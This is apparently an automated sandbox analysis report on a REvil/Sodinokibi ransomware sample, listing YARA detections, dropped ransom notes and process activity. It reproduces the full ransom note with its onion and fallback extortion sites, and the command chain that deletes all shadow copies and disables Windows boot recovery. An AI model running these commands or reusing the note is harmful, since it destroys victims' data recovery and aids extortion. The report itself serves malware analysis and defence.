            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3DJump to dropped file

            Spam, unwanted Advertisements and Ransom Demands:

            barindex
            Found ransom note / readmeShow sources
            Source: C:\37g7mqh9-readme.txtDropped file: ---=== Welcome. Again. ===---[+] Whats Happen? [+]Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion 37g7mqh9.By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).[+] What guarantees? [+]Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee.If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money.[+] How to get access on website? [+]You have two ways:1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/62E950957E5DD9FD2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/62E950957E5DD9FDWarning: secondary website can be blocked, thats why first variant mucJump to dropped file
            Yara detected Netwalker ransomwareShow sources
            Source: Yara matchFile source: Process Memory Space: NtJd0gjCZE.exe PID: 2696, type: MEMORYSTR
            Yara detected RansomwareGenericShow sources
            Source: Yara matchFile source: Process Memory Space: NtJd0gjCZE.exe PID: 2696, type: MEMORYSTR
            Yara detected RevilShow sources
            Source: Yara matchFile source: NtJd0gjCZE.exe, type: SAMPLE
            Source: Yara matchFile source: 0.2.NtJd0gjCZE.exe.b60000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0.0.NtJd0gjCZE.exe.b60000.0.unpack, type: UNPACKEDPE
            Yara detected Sodinokibi RansomwareShow sources
            Source: Yara matchFile source: 00000000.00000003.207723004.000000000301F000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000000.00000003.207794538.000000000301F000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: NtJd0gjCZE.exe PID: 2696, type: MEMORYSTR
            Contains functionalty to change the wallpaperShow sources
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeCode function: 0_2_00B639B0 GetDC,CreateCompatibleDC,GetDeviceCaps,GetDeviceCaps,CreateCompatibleBitmap,SelectObject,GetDeviceCaps,MulDiv,CreateFontW,SelectObject,SetBkMode,SetTextColor,GetStockObject,FillRect,SetPixel,DrawTextW,SystemParametersInfoW,DeleteObject,DeleteObject,DeleteDC,ReleaseDC,0_2_00B639B0
            Deletes shadow drive data (may be related to ransomware)Show sources
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\vssadmin.exe vssadmin.exe Delete Shadows /All /Quiet
            Source: NtJd0gjCZE.exe, 00000000.00000002.473721389.0000000001432000.00000004.00000020.sdmpBinary or memory string: /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailuresg
            Source: NtJd0gjCZE.exe, 00000000.00000002.473721389.0000000001432000.00000004.00000020.sdmpBinary or memory string: "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailuresL
            Source: NtJd0gjCZE.exe, 00000000.00000002.473721389.0000000001432000.00000004.00000020.sdmpBinary or memory string: /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures?
            Source: NtJd0gjCZE.exe, 00000000.00000002.473236114.0000000001290000.00000004.00000020.sdmpBinary or memory string: C:\Users\user\Desktop\C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreall\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\SystemCertificates\CAtettings\Connections1935-2125563209-4053062332-1002\REGISTRY\MACHINE\Software\WOW64\REGISTRY\MACHINE\So\R\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\SystemCertificates\CA;_
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\vssadmin.exe vssadmin.exe Delete Shadows /All /Quiet Jump to behavior
            Source: vssadmin.exe, 00000013.00000002.426936242.0000000002BC0000.00000004.00000020.sdmpBinary or memory string: C:\Users\user\Desktop\C:\Windows\SysWOW64\vssadmin.exevssadmin.exe Delete Shadows /All /Quiet vssadmin.exe Delete Shadows /All /Quiet Winsta0\Default=::=::\=C:=C:\Users\user\DesktopALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files (x86)\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=computerComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\computerNUMBER_OF_PROCESSORS=4OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=x86PROCESSOR_ARCHITEW6432=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 85 Stepping 7, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=5507ProgramData=C:\ProgramDataProgramFiles=C:\Program Files (x86)ProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPROMPT=$P$GPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=IPKGELNUSERDOMAIN_ROAMINGPROFILE=computerUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows
            Source: vssadmin.exe, 00000013.00000002.426936242.0000000002BC0000.00000004.00000020.sdmpBinary or memory string: vssadmin.exe Delete Shadows /All /Quiet
            Source: vssadmin.exe, 00000013.00000002.426983315.0000000002BC7000.00000004.00000020.sdmpBinary or memory string: - Code: ADMPROCC00001737- Call: ADMPROCC00001712- PID: 00004240- TID: 00005272- CMD: vssadmin.exe Delete Shadows /All /Quiet - User: Name: computer\user, SID:S-1-5-21-3853321935-2125563209-4053062332-1002
            Source: vssadmin.exe, 00000013.00000002.425500399.00000000008D0000.00000002.00000001.sdmpBinary or memory string: Example Usage: vssadmin Delete ShadowStorage
            Source: vssadmin.exe, 00000013.00000002.425500399.00000000008D0000.00000002.00000001.sdmpBinary or memory string: Example Usage: vssadmin Delete Shadows /Type=ClientAccessible /For=C:
            Source: vssadmin.exe, 00000013.00000002.425500399.00000000008D0000.00000002.00000001.sdmpBinary or memory string: vssadmin Delete Shadows
            Source: vssadmin.exe, 00000013.00000002.425500399.00000000008D0000.00000002.00000001.sdmpBinary or memory string: Example Usage: vssadmin Delete Shadows /For=C: /Oldest
            Source: vssadmin.exe, 00000013.00000002.425500399.00000000008D0000.00000002.00000001.sdmpBinary or memory string: Example Usage: vssadmin Delete ShadowStorage /For=C: /On=D:
            Source: vssadmin.exe, 00000013.00000002.425298626.000000000083C000.00000004.00000001.sdmpBinary or memory string: - Code: ADMPROCC00001737- Call: ADMPROCC00001712- PID: 00004240- TID: 00005272- CMD: vssadmin.exe Delete Shadows /All /Quiet - User: Name: computer\user, SID:S-1-5-21-3853321935-2125563209-4053062332-1002 -
            Source: vssadmin.exe, 00000013.00000002.425554835.00000000008E0000.00000004.00000020.sdmpBinary or memory string: C:\Users\user\Desktop\C:\Windows\SysWOW64\vssadmin.exevssadmin.exe Delete Shadows /All /Quiet vssadmin.exe Delete Shadows /All /Quiet Winsta0\Default
            Source: vssadmin.exe, 00000013.00000002.426867958.0000000002BA0000.00000004.00000040.sdmpBinary or memory string: vssadmin.exeDeleteShadows/All/Quiet
            Modifies existing user documents (likely ransomware behavior)Show sources
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile moved: C:\Users\user\Desktop\BNAGMGSPLO\EOWRVPQCCS.jpgJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile deleted: C:\Users\user\Desktop\BNAGMGSPLO\EOWRVPQCCS.jpgJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile moved: C:\Users\user\Desktop\EWZCVGNOWT.pngJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile deleted: C:\Users\user\Desktop\EWZCVGNOWT.pngJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile moved: C:\Users\user\Desktop\SQSJKEBWDT.jpgJump to behavior

            System Summary:

            barindex
            Malicious sample detected (through community Yara rule)Show sources
            Source: NtJd0gjCZE.exe, type: SAMPLEMatched rule: REvil Payload Author: R3MRUM
            Source: NtJd0gjCZE.exe, type: SAMPLEMatched rule: Win32_Ransomware_Revil Author: ReversingLabs
            Source: 0.2.NtJd0gjCZE.exe.b60000.0.unpack, type: UNPACKEDPEMatched rule: REvil Payload Author: R3MRUM
            Source: 0.2.NtJd0gjCZE.exe.b60000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_Revil Author: ReversingLabs
            Source: 0.0.NtJd0gjCZE.exe.b60000.0.unpack, type: UNPACKEDPEMatched rule: REvil Payload Author: R3MRUM
            Source: 0.0.NtJd0gjCZE.exe.b60000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_Revil Author: ReversingLabs
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeCode function: 0_2_00B6A4BE0_2_00B6A4BE
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeCode function: 0_2_00B670930_2_00B67093
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeCode function: 0_2_00B672F10_2_00B672F1
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeCode function: 0_2_00B698290_2_00B69829
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeCode function: 0_2_00B678140_2_00B67814
            Source: NtJd0gjCZE.exeStatic PE information: No import functions for PE file found
            Source: NtJd0gjCZE.exe, 00000000.00000002.474952201.00000000032D0000.00000002.00000001.sdmpBinary or memory string: originalfilename vs NtJd0gjCZE.exe
            Source: NtJd0gjCZE.exe, 00000000.00000002.474952201.00000000032D0000.00000002.00000001.sdmpBinary or memory string: OriginalFilenamepropsys.dll.mui@ vs NtJd0gjCZE.exe
            Source: NtJd0gjCZE.exe, 00000000.00000002.478574913.00000000042C0000.00000002.00000001.sdmpBinary or memory string: OriginalFilenameSHELL32.DLL.MUIj% vs NtJd0gjCZE.exe
            Source: NtJd0gjCZE.exe, 00000000.00000002.485828126.0000000005960000.00000002.00000001.sdmpBinary or memory string: OriginalFilenameCRYPT32.DLL.MUIj% vs NtJd0gjCZE.exe
            Source: NtJd0gjCZE.exe, 00000000.00000002.485805333.0000000005950000.00000002.00000001.sdmpBinary or memory string: OriginalFilenamemswsock.dll.muij% vs NtJd0gjCZE.exe
            Source: NtJd0gjCZE.exe, 00000000.00000002.475074854.0000000003620000.00000002.00000001.sdmpBinary or memory string: System.OriginalFileName vs NtJd0gjCZE.exe
            Source: NtJd0gjCZE.exe, 00000000.00000002.475441445.0000000003860000.00000002.00000001.sdmpBinary or memory string: OriginalFilenamempr.dll.muij% vs NtJd0gjCZE.exe
            Source: NtJd0gjCZE.exe, 00000000.00000002.486297057.0000000005E60000.00000002.00000001.sdmpBinary or memory string: OriginalFilenamenlsbres.dll.muij% vs NtJd0gjCZE.exe
            Source: NtJd0gjCZE.exe, 00000000.00000002.486260039.0000000005E50000.00000002.00000001.sdmpBinary or memory string: OriginalFilenamenlsbres.dllj% vs NtJd0gjCZE.exe
            Source: NtJd0gjCZE.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
            Source: NtJd0gjCZE.exe, type: SAMPLEMatched rule: MAL_RANSOM_REvil_Oct20_1 date = 2020-10-13, hash4 = fc26288df74aa8046b4761f8478c52819e0fca478c1ab674da7e1d24e1cfa501, hash3 = f6857748c050655fb3c2192b52a3b0915f3f3708cd0a59bbf641d7dd722a804d, hash2 = f66027faea8c9e0ff29a31641e186cbed7073b52b43933ba36d61e8f6bce1ab5, hash1 = 5966c25dc1abcec9d8603b97919db57aac019e5358ee413957927d3c1790b7f4, author = Florian Roth, description = Detects REvil ransomware, reference = Internal Research
            Source: NtJd0gjCZE.exe, type: SAMPLEMatched rule: REvil author = R3MRUM, description = REvil Payload, cape_type = REvil Payload
            Source: NtJd0gjCZE.exe, type: SAMPLEMatched rule: Win32_Ransomware_Revil tc_detection_name = Revil, author = ReversingLabs, tc_detection_factor = , tc_detection_type = Ransomware
            Source: 0.2.NtJd0gjCZE.exe.b60000.0.unpack, type: UNPACKEDPEMatched rule: MAL_RANSOM_REvil_Oct20_1 date = 2020-10-13, hash4 = fc26288df74aa8046b4761f8478c52819e0fca478c1ab674da7e1d24e1cfa501, hash3 = f6857748c050655fb3c2192b52a3b0915f3f3708cd0a59bbf641d7dd722a804d, hash2 = f66027faea8c9e0ff29a31641e186cbed7073b52b43933ba36d61e8f6bce1ab5, hash1 = 5966c25dc1abcec9d8603b97919db57aac019e5358ee413957927d3c1790b7f4, author = Florian Roth, description = Detects REvil ransomware, reference = Internal Research
            Source: 0.2.NtJd0gjCZE.exe.b60000.0.unpack, type: UNPACKEDPEMatched rule: REvil author = R3MRUM, description = REvil Payload, cape_type = REvil Payload
            Source: 0.2.NtJd0gjCZE.exe.b60000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_Revil tc_detection_name = Revil, author = ReversingLabs, tc_detection_factor = , tc_detection_type = Ransomware
            Source: 0.0.NtJd0gjCZE.exe.b60000.0.unpack, type: UNPACKEDPEMatched rule: MAL_RANSOM_REvil_Oct20_1 date = 2020-10-13, hash4 = fc26288df74aa8046b4761f8478c52819e0fca478c1ab674da7e1d24e1cfa501, hash3 = f6857748c050655fb3c2192b52a3b0915f3f3708cd0a59bbf641d7dd722a804d, hash2 = f66027faea8c9e0ff29a31641e186cbed7073b52b43933ba36d61e8f6bce1ab5, hash1 = 5966c25dc1abcec9d8603b97919db57aac019e5358ee413957927d3c1790b7f4, author = Florian Roth, description = Detects REvil ransomware, reference = Internal Research
            Source: 0.0.NtJd0gjCZE.exe.b60000.0.unpack, type: UNPACKEDPEMatched rule: REvil author = R3MRUM, description = REvil Payload, cape_type = REvil Payload
            Source: 0.0.NtJd0gjCZE.exe.b60000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_Revil tc_detection_name = Revil, author = ReversingLabs, tc_detection_factor = , tc_detection_type = Ransomware
            Source: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, type: MEMORYMatched rule: MAL_RANSOM_REvil_Oct20_1 date = 2020-10-13, hash4 = fc26288df74aa8046b4761f8478c52819e0fca478c1ab674da7e1d24e1cfa501, hash3 = f6857748c050655fb3c2192b52a3b0915f3f3708cd0a59bbf641d7dd722a804d, hash2 = f66027faea8c9e0ff29a31641e186cbed7073b52b43933ba36d61e8f6bce1ab5, hash1 = 5966c25dc1abcec9d8603b97919db57aac019e5358ee413957927d3c1790b7f4, author = Florian Roth, description = Detects REvil ransomware, reference = Internal Research
            Source: 00000000.00000000.207430455.0000000000B61000.00000020.00020000.sdmp, type: MEMORYMatched rule: MAL_RANSOM_REvil_Oct20_1 date = 2020-10-13, hash4 = fc26288df74aa8046b4761f8478c52819e0fca478c1ab674da7e1d24e1cfa501, hash3 = f6857748c050655fb3c2192b52a3b0915f3f3708cd0a59bbf641d7dd722a804d, hash2 = f66027faea8c9e0ff29a31641e186cbed7073b52b43933ba36d61e8f6bce1ab5, hash1 = 5966c25dc1abcec9d8603b97919db57aac019e5358ee413957927d3c1790b7f4, author = Florian Roth, description = Detects REvil ransomware, reference = Internal Research
            Source: classification engineClassification label: mal100.rans.evad.winEXE@6/365@20/14
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeCode function: 0_2_00B63F3C GetDriveTypeW,GetDiskFreeSpaceExW,0_2_00B63F3C
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeCode function: 0_2_00B64668 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,0_2_00B64668
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\program files\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\37g7mqh9-readme.txtJump to behavior
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5008:120:WilError_01
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeMutant created: \Sessions\1\BaseNamedObjects\Global\206D87E0-0E60-DF25-DD8F-8E4E7D1E3BF0
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: C:\Users\user\AppData\Local\Temp\w2n6uldl09.bmpJump to behavior
            Source: NtJd0gjCZE.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
            Source: NtJd0gjCZE.exeVirustotal: Detection: 89%
            Source: NtJd0gjCZE.exeMetadefender: Detection: 70%
            Source: NtJd0gjCZE.exeReversingLabs: Detection: 96%
            Source: unknownProcess created: C:\Users\user\Desktop\NtJd0gjCZE.exe 'C:\Users\user\Desktop\NtJd0gjCZE.exe'
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeProcess created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\vssadmin.exe vssadmin.exe Delete Shadows /All /Quiet
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeProcess created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailuresJump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\vssadmin.exe vssadmin.exe Delete Shadows /All /Quiet Jump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32Jump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeDirectory created: c:\program files\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeDirectory created: c:\program files\79823d8d.lockJump to behavior
            Source: NtJd0gjCZE.exeStatic PE information: section name: .s7bz

            Persistence and Installation Behavior:

            barindex
            Uses bcdedit to modify the Windows boot settingsShow sources
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeProcess created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeProcess created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailuresJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: C:\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\program files\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\program files (x86)\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\recovery\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\program files (x86)\microsoft sql server\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\default\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\public\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\program files (x86)\microsoft sql server\110\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\default\desktop\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\default\documents\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\default\downloads\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\default\favorites\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\default\links\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\default\music\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\default\pictures\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\default\saved games\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\default\videos\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\3d objects\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\contacts\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\desktop\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\documents\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\downloads\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\favorites\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\links\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\music\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\onedrive\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\pictures\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\recent\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\saved games\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\searches\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\videos\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\public\accountpictures\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\public\desktop\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\public\documents\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\public\downloads\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\public\libraries\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\public\music\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\public\pictures\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\public\videos\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\program files (x86)\microsoft sql server\110\shared\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\desktop\bnagmgsplo\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\desktop\czqksddmwr\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\desktop\efoyfbolxa\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\desktop\eivqsaotaq\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\desktop\gigiytffyt\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\desktop\grxzdkkvdb\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\desktop\lijdsfkjzg\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\desktop\nymmpceima\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\desktop\pivfageaav\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\desktop\sqsjkebwdt\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\desktop\suavtzknfl\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\desktop\wshejmdvqc\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\documents\bnagmgsplo\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\documents\czqksddmwr\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\documents\efoyfbolxa\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\documents\eivqsaotaq\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\documents\gigiytffyt\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\documents\grxzdkkvdb\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\documents\lijdsfkjzg\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\documents\nymmpceima\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\documents\pivfageaav\37g7mqh9-readme.txtJump to behavior
